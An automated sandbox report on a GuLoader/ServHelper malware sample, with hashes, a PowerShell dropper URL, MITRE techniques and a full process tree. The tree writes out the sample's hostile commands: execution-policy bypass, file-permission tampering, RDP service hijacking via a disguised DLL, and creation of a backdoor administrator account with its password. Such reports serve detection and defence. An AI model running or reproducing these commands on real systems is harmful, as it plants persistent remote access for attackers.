guloader | 979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
31-01-2022 23:55

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General

Target

979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe
Size

4.5MB
MD5

e9fae6305a1e589c8b63bb9ce114b2bc
SHA1

0f2f0b98ce5a51595a91b6ebb43dfc4f10e94ecb
SHA256

979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e
SHA512

2b92d944165910640cd8e79278dddbf314f3e6257e8293346905a6f2d658cfc98ef6a5077e3c37acddad7d8bb7e25ee8ec487fbbf25669f926032877ad7a937c

Score

10^/10

guloader servhelper backdoor discovery downloader exploit guloader persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Guloader Payload 1 IoCs

guloader

resource	yara_rule
behavioral2/memory/1536-168-0x000001C3153D0000-0x000001C32D500000-memory.dmp	family_guloader

Blocklisted process makes network request 10 IoCs

flow	pid	Process
53	1952	powershell.exe
56	1952	powershell.exe
57	1952	powershell.exe
58	1952	powershell.exe
59	1952	powershell.exe
61	1952	powershell.exe
63	1952	powershell.exe
65	1952	powershell.exe
67	1952	powershell.exe
69	1952	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
4088	takeown.exe
3252	icacls.exe
1952	icacls.exe
3268	icacls.exe
2632	icacls.exe
2624	icacls.exe
3316	icacls.exe
3980	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000002211c-191.dat	upx
behavioral2/files/0x000300000002183b-192.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1180	Process not Found
1180	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2632	icacls.exe
2624	icacls.exe
3316	icacls.exe
3980	icacls.exe
4088	takeown.exe
3252	icacls.exe
1952	icacls.exe
3268	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI2FBD.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI2E52.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI2FAD.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_gq5kux1r.3am.psm1	powershell.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_oe1sutfk.21k.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI2F7C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI2F9C.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 81091ab10308d801	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1708	reg.exe

Runs net.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc	stream
HTTP User-Agent header	57	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	58	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	59	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	61	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	56	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
3188	powershell.exe
3188	powershell.exe
640	powershell.exe
640	powershell.exe
1536	powershell.exe
1536	powershell.exe
2148	powershell.exe
2148	powershell.exe
3188	powershell.exe
3188	powershell.exe
3188	powershell.exe
1952	powershell.exe
1952	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
676	Process not Found
676	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeRestorePrivilege	1952	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1612	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1612	WMIC.exe
Token: SeAuditPrivilege	1612	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1612	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1612	WMIC.exe
Token: SeAuditPrivilege	1612	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2908	WMIC.exe
Token: SeAuditPrivilege	2908	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2908	WMIC.exe
Token: SeAuditPrivilege	2908	WMIC.exe
Token: SeDebugPrivilege	1952	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 3188	2212	979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe	54
PID 2212 wrote to memory of 3188	2212	979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe	54
PID 3188 wrote to memory of 432	3188	powershell.exe	56
PID 3188 wrote to memory of 432	3188	powershell.exe	56
PID 432 wrote to memory of 688	432	csc.exe	57
PID 432 wrote to memory of 688	432	csc.exe	57
PID 3188 wrote to memory of 640	3188	powershell.exe	58
PID 3188 wrote to memory of 640	3188	powershell.exe	58
PID 3188 wrote to memory of 1536	3188	powershell.exe	60
PID 3188 wrote to memory of 1536	3188	powershell.exe	60
PID 3188 wrote to memory of 2148	3188	powershell.exe	65
PID 3188 wrote to memory of 2148	3188	powershell.exe	65
PID 3188 wrote to memory of 4088	3188	powershell.exe	69
PID 3188 wrote to memory of 4088	3188	powershell.exe	69
PID 3188 wrote to memory of 3252	3188	powershell.exe	70
PID 3188 wrote to memory of 3252	3188	powershell.exe	70
PID 3188 wrote to memory of 1952	3188	powershell.exe	71
PID 3188 wrote to memory of 1952	3188	powershell.exe	71
PID 3188 wrote to memory of 3268	3188	powershell.exe	72
PID 3188 wrote to memory of 3268	3188	powershell.exe	72
PID 3188 wrote to memory of 2632	3188	powershell.exe	73
PID 3188 wrote to memory of 2632	3188	powershell.exe	73
PID 3188 wrote to memory of 2624	3188	powershell.exe	74
PID 3188 wrote to memory of 2624	3188	powershell.exe	74
PID 3188 wrote to memory of 3316	3188	powershell.exe	75
PID 3188 wrote to memory of 3316	3188	powershell.exe	75
PID 3188 wrote to memory of 3980	3188	powershell.exe	76
PID 3188 wrote to memory of 3980	3188	powershell.exe	76
PID 3188 wrote to memory of 1948	3188	powershell.exe	77
PID 3188 wrote to memory of 1948	3188	powershell.exe	77
PID 3188 wrote to memory of 1708	3188	powershell.exe	78
PID 3188 wrote to memory of 1708	3188	powershell.exe	78
PID 3188 wrote to memory of 660	3188	powershell.exe	79
PID 3188 wrote to memory of 660	3188	powershell.exe	79
PID 3188 wrote to memory of 3728	3188	powershell.exe	80
PID 3188 wrote to memory of 3728	3188	powershell.exe	80
PID 3728 wrote to memory of 3276	3728	net.exe	81
PID 3728 wrote to memory of 3276	3728	net.exe	81
PID 3188 wrote to memory of 1804	3188	powershell.exe	82
PID 3188 wrote to memory of 1804	3188	powershell.exe	82
PID 1804 wrote to memory of 432	1804	cmd.exe	83
PID 1804 wrote to memory of 432	1804	cmd.exe	83
PID 432 wrote to memory of 656	432	cmd.exe	84
PID 432 wrote to memory of 656	432	cmd.exe	84
PID 656 wrote to memory of 3752	656	net.exe	85
PID 656 wrote to memory of 3752	656	net.exe	85
PID 3188 wrote to memory of 704	3188	powershell.exe	86
PID 3188 wrote to memory of 704	3188	powershell.exe	86
PID 704 wrote to memory of 2076	704	cmd.exe	87
PID 704 wrote to memory of 2076	704	cmd.exe	87
PID 2076 wrote to memory of 204	2076	cmd.exe	88
PID 2076 wrote to memory of 204	2076	cmd.exe	88
PID 204 wrote to memory of 3424	204	net.exe	89
PID 204 wrote to memory of 3424	204	net.exe	89
PID 3996 wrote to memory of 3544	3996	cmd.exe	93
PID 3996 wrote to memory of 3544	3996	cmd.exe	93
PID 3544 wrote to memory of 2000	3544	net.exe	94
PID 3544 wrote to memory of 2000	3544	net.exe	94
PID 2908 wrote to memory of 3380	2908	cmd.exe	97
PID 2908 wrote to memory of 3380	2908	cmd.exe	97
PID 3380 wrote to memory of 1536	3380	net.exe	98
PID 3380 wrote to memory of 1536	3380	net.exe	98
PID 3468 wrote to memory of 2252	3468	cmd.exe	101
PID 3468 wrote to memory of 2252	3468	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe
"C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hsb2lbvn\hsb2lbvn.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4EA5.tmp" "c:\Users\Admin\AppData\Local\Temp\hsb2lbvn\CSC734816BCC82D4F1AA75D4D406B502B42.TMP"
      4⤵
      PID:688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2148
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4088
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3252
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3268
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2632
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2624
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3316
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3980
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1948
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1708
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:660
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3276
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:432
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:656
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3752
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:704
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2076
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:204
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3904

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 049e4705c8c1c06de332ed4fa09d06cc m1LUVBdGck63P0D30X+vRQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3772

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2000

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Gbv2h83j /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Gbv2h83j /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Gbv2h83j /add
    3⤵
    PID:1536

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:2252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3724

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
1⤵
PID:1152
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
  2⤵
  PID:3268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
    3⤵
    PID:2632

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2424
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1924
